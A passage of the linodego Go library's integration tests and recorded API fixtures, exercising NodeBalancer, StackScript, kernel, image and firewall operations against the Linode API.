fmt.Println("### Get") nbn, err = linodeClient.GetNodeBalancerNode(context.Background(), nb.ID, nbc.ID, nodes[0].ID) if err != nil { log.Fatal(err) } fmt.Println("### Delete") if nbn.ID != nbnID { log.Fatalf("Unexpected Nodebalancer Node ID %d != %d", nbn.ID, nbnID) } if err := linodeClient.DeleteNodeBalancerNode(context.Background(), nb.ID, nbc.ID, nbn.ID); err != nil { log.Fatal(err) } if err := linodeClient.DeleteNodeBalancerConfig(context.Background(), nb.ID, nbc.ID); err != nil { log.Fatal(err) } if err := linodeClient.DeleteNodeBalancer(context.Background(), nb.ID); err != nil { log.Fatal(err) } if err := linodeClient.DeleteInstance(context.Background(), instance.ID); err != nil { log.Fatal(err) } // Output: // ## NodeBalancer create // ## NodeBalancer Config create // ## NodeBalancer Node create // ## NodeBalancer Node update // ### List // ### Get // ### Delete } golang-github-linode-linodego-1.47.0/test/integration/example_stackscripts_test.go000066400000000000000000000034311474652371000305320ustar00rootroot00000000000000package integration import ( "context" "fmt" "log" "strconv" "time" "github.com/linode/linodego" ) func ExampleClient_CreateStackscript() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleCreateStackscript") defer teardown() fmt.Println("## Stackscript create") var ss *linodego.Stackscript var err error for rev := 1; rev < 4; rev++ { fmt.Println("### Revision", rev) if rev == 1 { stackscript := linodego.Stackscript{}.GetCreateOptions() stackscript.Description = "description for example stackscript " + time.Now().String() // stackscript.Images = make([]string, 2, 2) stackscript.Images = []string{"linode/debian9", "linode/ubuntu18.04"} stackscript.IsPublic = false stackscript.Label = "example stackscript " + time.Now().String() stackscript.RevNote = "revision " + strconv.Itoa(rev) stackscript.Script = "#!/bin/bash\n" ss, err = linodeClient.CreateStackscript(context.Background(), stackscript) if err != nil { log.Fatal(err) } } else { update := ss.GetUpdateOptions() update.RevNote = "revision " + strconv.Itoa(rev) update.Label = strconv.Itoa(rev) + " " + ss.Label update.Script += "echo " + strconv.Itoa(rev) + "\n" ss, err = linodeClient.UpdateStackscript(context.Background(), ss.ID, update) if err != nil { log.Fatal(err) } } } fmt.Println("### Get") ss, err = linodeClient.GetStackscript(context.Background(), ss.ID) if err != nil { log.Fatal(err) } fmt.Println("### Delete") err = linodeClient.DeleteStackscript(context.Background(), ss.ID) if err != nil { log.Fatal(err) } // Output: // ## Stackscript create // ### Revision 1 // ### Revision 2 // ### Revision 3 // ### Get // ### Delete } golang-github-linode-linodego-1.47.0/test/integration/example_test.go000066400000000000000000000222411474652371000257350ustar00rootroot00000000000000package integration /** * The tests in the examples directory demontrate use and test the library * in a real-use setting */ import ( "context" "fmt" "log" "strings" "github.com/linode/linodego" ) func ExampleClient_ListTypes_all() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListTypes_all") defer teardown() types, err := linodeClient.ListTypes(context.Background(), nil) if err != nil { log.Fatal(err) } fmt.Println("ID contains class:", strings.Contains(types[0].ID, string(types[0].Class))) fmt.Println("Plan has Ram:", types[0].Memory > 0) // Output: // ID contains class: true // Plan has Ram: true } // ExampleGetType_missing demonstrates the Error type, which allows inspecting // the request and response. Error codes will be the HTTP status code, // or sub-100 for errors before the request was issued. func ExampleClient_GetType_missing() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleGetType_missing") defer teardown() _, err := linodeClient.GetType(context.Background(), "missing-type") if err != nil { if v, ok := err.(*linodego.Error); ok { fmt.Println("Request was:", v.Response.Request.URL) fmt.Println("Response was:", v.Response.Status) fmt.Println("Error was:", v) } } // Output: // Request was: https://api.linode.com/v4beta/linode/types/missing-type // Response was: 404 Not Found // Error was: [404] Not found } // ExampleListKernels_all Demonstrates how to list all Linode Kernels. Paginated // responses are automatically traversed and concatenated when the ListOptions are nil func ExampleClient_ListKernels_all() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListKernels_all") defer teardown() kernels, err := linodeClient.ListKernels(context.Background(), nil) if err != nil { log.Fatal(err) } // The Linode API default pagination size is 100. fmt.Println("Fetched > 100:", len(kernels) > 100) // Output: // Fetched > 100: true } func ExampleClient_ListKernels_allWithOpts() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListKernels_allWithOpts") defer teardown() filterOpt := linodego.NewListOptions(0, "") kernels, err := linodeClient.ListKernels(context.Background(), filterOpt) if err != nil { log.Fatal(err) } // The Linode API default pagination size is 100. fmt.Println("Fetched > 100:", len(kernels) > 100) fmt.Println("Fetched Results/100 pages:", filterOpt.Pages > filterOpt.Results/100) fmt.Println("Fetched all results:", filterOpt.Results == len(kernels)) // Output: // Fetched > 100: true // Fetched Results/100 pages: true // Fetched all results: true } func ExampleClient_ListKernels_filtered() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListKernels_filtered") defer teardown() filterOpt := linodego.ListOptions{Filter: "{\"label\":\"5.17.5-x86_64-linode154\"}"} kernels, err := linodeClient.ListKernels(context.Background(), &filterOpt) if err != nil { log.Fatal(err) } for _, kern := range kernels { fmt.Println(kern.ID, kern.Label) } // Unordered output: // linode/5.17.5-x86_64-linode154 5.17.5-x86_64-linode154 } func ExampleClient_ListKernels_page1() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListKernels_page1") defer teardown() filterOpt := linodego.NewListOptions(1, "") kernels, err := linodeClient.ListKernels(context.Background(), filterOpt) if err != nil { log.Fatal(err) } // The Linode API default pagination size is 100. fmt.Println("Fetched == 100:", len(kernels) == 100) fmt.Println("Results > 100:", filterOpt.Results > 100) fmt.Println("Pages > 1:", filterOpt.Pages > 1) k := kernels[len(kernels)-1] fmt.Println("Kernel Version in ID:", strings.Contains(k.ID, k.Label)) // Output: // Fetched == 100: true // Results > 100: true // Pages > 1: true // Kernel Version in ID: true } func ExampleClient_GetKernel_specific() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleGetKernel_specific") defer teardown() l32, err := linodeClient.GetKernel(context.Background(), "linode/latest-32bit") if err == nil { fmt.Println("Label starts:", l32.Label[0:9]) } else { log.Fatalln(err) } l64, err := linodeClient.GetKernel(context.Background(), "linode/latest-64bit") if err == nil { fmt.Println("Label starts:", l64.Label[0:9]) } else { log.Fatalln(err) } // Interference check fmt.Println("First Label still starts:", l32.Label[0:9]) // Output: // Label starts: Latest 32 // Label starts: Latest 64 // First Label still starts: Latest 32 } func ExampleClient_GetImage_missing() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleGetImage_missing") defer teardown() _, err := linodeClient.GetImage(context.Background(), "not-found") if err != nil { if v, ok := err.(*linodego.Error); ok { fmt.Println("Request was:", v.Response.Request.URL) fmt.Println("Response was:", v.Response.Status) fmt.Println("Error was:", v) } } // Output: // Request was: https://api.linode.com/v4beta/images/not-found // Response was: 404 Not Found // Error was: [404] Not found } func ExampleClient_ListImages_all() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListImages_all") defer teardown() filterOpt := linodego.NewListOptions(0, "") images, err := linodeClient.ListImages(context.Background(), filterOpt) if err != nil { log.Fatal(err) } fmt.Println("Fetched Results/100 pages:", filterOpt.Pages > filterOpt.Results/100) fmt.Println("Fetched all results:", filterOpt.Results == len(images)) // Output: // Fetched Results/100 pages: true // Fetched all results: true } // ExampleListImages_notfound demonstrates that an empty slice is returned, // not an error, when a filter matches no results. func ExampleClient_ListImages_notfound() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListImages_notfound") defer teardown() filterOpt := linodego.ListOptions{Filter: "{\"label\":\"not-found\"}"} images, err := linodeClient.ListImages(context.Background(), &filterOpt) if err != nil { log.Fatal(err) } fmt.Println("Images with Label 'not-found':", len(images)) // Output: // Images with Label 'not-found': 0 } // ExampleListImages_notfound demonstrates that an error is returned by // the API and linodego when an invalid filter is provided func ExampleClient_ListImages_badfilter() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListImages_badfilter") defer teardown() filterOpt := linodego.ListOptions{Filter: "{\"foo\":\"bar\"}"} images, err := linodeClient.ListImages(context.Background(), &filterOpt) if err == nil { log.Fatal(err) } fmt.Println("Error given on bad filter:", err) fmt.Println("Images on bad filter:", images) // TODO: nil would be better here // Output: // Error given on bad filter: [400] [X-Filter] Cannot filter on foo // Images on bad filter: [] } func ExampleClient_ListLongviewSubscriptions_page1() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListLongviewSubscriptions_page1") defer teardown() pageOpt := linodego.ListOptions{PageOptions: &linodego.PageOptions{Page: 1}} subscriptions, err := linodeClient.ListLongviewSubscriptions(context.Background(), &pageOpt) if err != nil { log.Fatal(err) } fmt.Println("Longview Subscription Types:", len(subscriptions)) // Output: // Longview Subscription Types: 4 } func ExampleClient_ListStackscripts_page1() { // Example readers, Ignore this bit of setup code needed to record test fixtures linodeClient, teardown := createTestClient(nil, "fixtures/ExampleListStackscripts_page1") defer teardown() filterOpt := linodego.NewListOptions(1, "") scripts, err := linodeClient.ListStackscripts(context.Background(), filterOpt) if err != nil { log.Fatal(err) } // The Linode API default pagination size is 100. fmt.Println("Fetched == 100:", len(scripts) == 100) fmt.Println("Results > 100:", filterOpt.Results > 100) fmt.Println("Pages > 1:", filterOpt.Pages > 1) s := scripts[len(scripts)-1] fmt.Println("StackScript Script has shebang:", strings.Contains(s.Script, "#!/")) fmt.Println("Created is parsed:", s.Created != nil) // Output: // Fetched == 100: true // Results > 100: true // Pages > 1: true // StackScript Script has shebang: true // Created is parsed: true } golang-github-linode-linodego-1.47.0/test/integration/firewall_rules_test.go000066400000000000000000000042511474652371000273220ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) var ( testFirewallRule = linodego.FirewallRule{ Label: "go-fwrule-test", Action: "ACCEPT", Ports: "22", Protocol: "TCP", Addresses: linodego.NetworkAddresses{ IPv4: &[]string{"0.0.0.0/0"}, IPv6: &[]string{"::0/0"}, }, } testFirewallRuleSet = linodego.FirewallRuleSet{ Inbound: []linodego.FirewallRule{testFirewallRule}, InboundPolicy: "ACCEPT", Outbound: []linodego.FirewallRule{testFirewallRule}, OutboundPolicy: "ACCEPT", } ) func TestFirewallRules_Get_smoke(t *testing.T) { client, firewall, teardown, err := setupFirewall(t, []firewallModifier{func(createOpts *linodego.FirewallCreateOptions) { createOpts.Rules = testFirewallRuleSet }}, "fixtures/TestFirewallRules_Get") if err != nil { t.Error(err) } defer teardown() rules, err := client.GetFirewallRules(context.Background(), firewall.ID) if err != nil { t.Error(err) } if !cmp.Equal(rules, &testFirewallRuleSet, ignoreNetworkAddresses) { t.Errorf("expected rules to match test rules, but got diff: %s", cmp.Diff(rules, testFirewallRuleSet, ignoreNetworkAddresses)) } } func TestFirewallRules_Update(t *testing.T) { client, firewall, teardown, err := setupFirewall(t, []firewallModifier{}, "fixtures/TestFirewallRules_Update") if err != nil { t.Error(err) } defer teardown() newRules := linodego.FirewallRuleSet{ Inbound: []linodego.FirewallRule{ { Label: testFirewallRule.Label + "_r", Action: "DROP", Ports: "22", Protocol: "TCP", Addresses: linodego.NetworkAddresses{ IPv4: &[]string{"0.0.0.0/0"}, IPv6: &[]string{"::0/0"}, }, }, }, InboundPolicy: "ACCEPT", OutboundPolicy: "ACCEPT", } if _, err := client.UpdateFirewallRules(context.Background(), firewall.ID, newRules); err != nil { t.Error(err) } rules, err := client.GetFirewallRules(context.Background(), firewall.ID) if err != nil { t.Error(err) } if !cmp.Equal(rules, &newRules, ignoreNetworkAddresses) { t.Errorf("expected rules to have been updated but got diff: %s", cmp.Diff(rules, &newRules, ignoreNetworkAddresses)) } } golang-github-linode-linodego-1.47.0/test/integration/firewalls_devices_test.go000066400000000000000000000052551474652371000300020ustar00rootroot00000000000000package integration import ( "context" "net/http" "testing" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) func TestFirewallDevices_List_smoke(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevices_List", false) if err != nil { t.Error(err) } defer teardown() firewall, teardownFirewall, err := createFirewall(t, client, func(opts *linodego.FirewallCreateOptions) { opts.Devices.Linodes = []int{instance.ID} }) if err != nil { t.Error(err) } defer teardownFirewall() firewallDevices, err := client.ListFirewallDevices(context.Background(), firewall.ID, nil) if err != nil { t.Error(err) } if len(firewallDevices) != 1 { t.Errorf("expected 1 firewall device but got %d", len(firewallDevices)) } } func TestFirewallDevice_Get(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevice_Get", false) if err != nil { t.Error(err) } defer teardown() firewall, teardownFirewall, err := createFirewall(t, client) if err != nil { t.Error(err) } defer teardownFirewall() firewallDevice, err := client.CreateFirewallDevice(context.Background(), firewall.ID, linodego.FirewallDeviceCreateOptions{ Type: linodego.FirewallDeviceLinode, ID: instance.ID, }) if err != nil { t.Error(err) } if device, err := client.GetFirewallDevice(context.Background(), firewall.ID, firewallDevice.ID); err != nil { t.Error(err) } else if !cmp.Equal(device, firewallDevice) { t.Errorf("expected device to match create result but got diffs: %s", cmp.Diff(device, firewallDevice)) } } func TestFirewallDevice_Delete(t *testing.T) { client, instance, teardown, err := setupInstance(t, "fixtures/TestFirewallDevice_Delete", false) if err != nil { t.Error(err) } defer teardown() firewall, teardownFirewall, err := createFirewall(t, client) if err != nil { t.Error(err) } defer teardownFirewall() firewallDevice, err := client.CreateFirewallDevice(context.Background(), firewall.ID, linodego.FirewallDeviceCreateOptions{ Type: linodego.FirewallDeviceLinode, ID: instance.ID, }) if err != nil { t.Error(err) } assertDateSet(t, firewallDevice.Created) assertDateSet(t, firewallDevice.Updated) if err := client.DeleteFirewallDevice(context.Background(), firewall.ID, firewallDevice.ID); err != nil { t.Error(err) } if _, getErr := client.GetFirewallDevice(context.Background(), firewall.ID, firewallDevice.ID); err != nil { t.Error("expected fetching firewall device to fail") } else if apiError, ok := getErr.(*linodego.Error); !ok || apiError.Code != http.StatusNotFound { t.Errorf("expected fetching firewall device to throw Not Found but got: %s", getErr) } } golang-github-linode-linodego-1.47.0/test/integration/firewalls_test.go000066400000000000000000000114121474652371000262700ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/google/go-cmp/cmp" "github.com/google/go-cmp/cmp/cmpopts" "github.com/linode/linodego" ) var testFirewallCreateOpts = linodego.FirewallCreateOptions{ Label: "linodego-fw-test", Rules: testFirewallRuleSet, // borrowed from firewall_rules.test.go Tags: []string{"testing"}, } // ignoreNetworkAddresses negates comparing IP addresses. Because of fixture sanitization, // these addresses will be changed to bogus values when running tests. var ignoreNetworkAddresses = cmpopts.IgnoreFields(linodego.FirewallRule{}, "Addresses") // ignoreFirewallTimestamps negates comparing created and updated timestamps. Because of // fixture sanitization, these addresses will be changed to bogus values when running tests. var ignoreFirewallTimestamps = cmpopts.IgnoreFields(linodego.Firewall{}, "Created", "Updated") func TestFirewalls_List_smoke(t *testing.T) { client, _, teardown, err := setupFirewall(t, []firewallModifier{ func(createOpts *linodego.FirewallCreateOptions) { createOpts.Label = "linodego-fw-test" }, }, "fixtures/TestFirewalls_List") if err != nil { t.Error(err) } defer teardown() result, err := client.ListFirewalls(context.Background(), nil) if err != nil { t.Errorf("Error listing Firewalls, expected struct, got error %v", err) } if len(result) == 0 { t.Errorf("Expected a list of Firewalls, but got none: %v", err) } } func TestFirewall_Get(t *testing.T) { rules := linodego.FirewallRuleSet{ Inbound: []linodego.FirewallRule{ { Label: "linodego-fwrule-test", Action: "DROP", Protocol: linodego.ICMP, Addresses: linodego.NetworkAddresses{ IPv4: &[]string{"0.0.0.0/0"}, IPv6: &[]string{"::/0"}, }, }, }, InboundPolicy: "ACCEPT", OutboundPolicy: "ACCEPT", } client, created, teardown, err := setupFirewall(t, []firewallModifier{ func(createOpts *linodego.FirewallCreateOptions) { createOpts.Label = "linodego-fw-test" createOpts.Rules = rules }, }, "fixtures/TestFirewall_Get") if err != nil { t.Error(err) } defer teardown() result, err := client.GetFirewall(context.Background(), created.ID) if err != nil { t.Errorf("failed to get newly created firewall %d: %s", created.ID, err) } if result.Rules.Inbound[0].Label != rules.Inbound[0].Label { t.Errorf("Expected firewall rules to be %#v but got %#v", rules, result.Rules) } } func TestFirewall_Update(t *testing.T) { rules := linodego.FirewallRuleSet{ InboundPolicy: "ACCEPT", Inbound: []linodego.FirewallRule{ { Label: "linodego-fwrule-test", Action: "DROP", Protocol: linodego.ICMP, Addresses: linodego.NetworkAddresses{ IPv4: &[]string{"0.0.0.0/0"}, }, }, }, OutboundPolicy: "ACCEPT", } client, firewall, teardown, err := setupFirewall(t, []firewallModifier{ func(createOpts *linodego.FirewallCreateOptions) { createOpts.Label = "linodego-fw-test" createOpts.Rules = rules createOpts.Tags = []string{"test"} }, }, "fixtures/TestFirewall_Update") if err != nil { t.Error(err) } defer teardown() updateOpts := firewall.GetUpdateOptions() updateOpts.Status = linodego.FirewallDisabled updateOpts.Label = firewall.Label + "-updated" updateOpts.Tags = &[]string{} updated, err := client.UpdateFirewall(context.Background(), firewall.ID, updateOpts) if err != nil { t.Error(err) } if !cmp.Equal(updated.Tags, *updateOpts.Tags) { t.Errorf("expected tags to be updated: %s", cmp.Diff(updated.Tags, *updateOpts.Tags)) } if updated.Status != updateOpts.Status { t.Errorf("expected status %s but got %s", updateOpts.Status, updated.Status) } if updated.Label != updateOpts.Label { t.Errorf(`expected label to be "%s" but got "%s"`, updateOpts.Label, updated.Label) } } type firewallModifier func(*linodego.FirewallCreateOptions) func createFirewall(t *testing.T, client *linodego.Client, firewallModifiers ...firewallModifier) (*linodego.Firewall, func(), error) { t.Helper() createOpts := testFirewallCreateOpts for _, modifier := range firewallModifiers { modifier(&createOpts) } firewall, err := client.CreateFirewall(context.Background(), createOpts) if err != nil { t.Errorf("failed to create firewall: %s", err) } teardown := func() { if err := client.DeleteFirewall(context.Background(), firewall.ID); err != nil { t.Errorf("failed to delete firewall: %s", err) } } return firewall, teardown, nil } func setupFirewall(t *testing.T, firewallModifiers []firewallModifier, fixturesYaml string) (*linodego.Client, *linodego.Firewall, func(), error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) firewall, firewallTeardown, err := createFirewall(t, client, firewallModifiers...) teardown := func() { firewallTeardown() fixtureTeardown() } return client, firewall, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/fixtures/000077500000000000000000000000001474652371000245645ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleCreateNodeBalancer.yaml000066400000000000000000000157401474652371000324340ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-southeast","client_conn_throttle":20,"tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767903, "label": "balancer767903", "region": "us-southeast", "hostname": "139-144-164-228.ip.linodeusercontent.com", "ipv4": "139.144.164.228", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "346" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767903 method: GET response: body: '{"id": 767903, "label": "balancer767903", "region": "us-southeast", "hostname": "139-144-164-228.ip.linodeusercontent.com", "ipv4": "139.144.164.228", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "346" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"balancer767903_renamed","client_conn_throttle":20,"tags":[]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767903 method: PUT response: body: '{"id": 767903, "label": "balancer767903_renamed", "region": "us-southeast", "hostname": "139-144-164-228.ip.linodeusercontent.com", "ipv4": "139.144.164.228", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "354" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767903 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleCreateNodeBalancerConfig.yaml000066400000000000000000000314241474652371000335570ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"region":"us-southeast","client_conn_throttle":20,"tags":null,"firewall_id":640319}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 767904, "label": "balancer767904", "region": "us-southeast", "hostname": "66-228-63-221.ip.linodeusercontent.com", "ipv4": "66.228.63.221", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "342" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"check_interval":30,"check_attempts":5,"check_timeout":5}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767904/configs method: POST response: body: '{"id": 1266953, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767904, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":8080,"protocol":"http","proxy_protocol":"none","algorithm":"roundrobin","stickiness":"none","check":"none","check_interval":30,"check_attempts":5,"check_passive":true,"check_timeout":5,"cipher_suite":"recommended"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767904/configs/1266953 method: PUT response: body: '{"id": 1266953, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767904, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "439" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:57:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767904/configs?page=1 method: GET response: body: '{"data": [{"id": 1266953, "port": 8080, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 30, "check_timeout": 5, "check_attempts": 5, "check_path": "", "check_body": "", "check_passive": true, 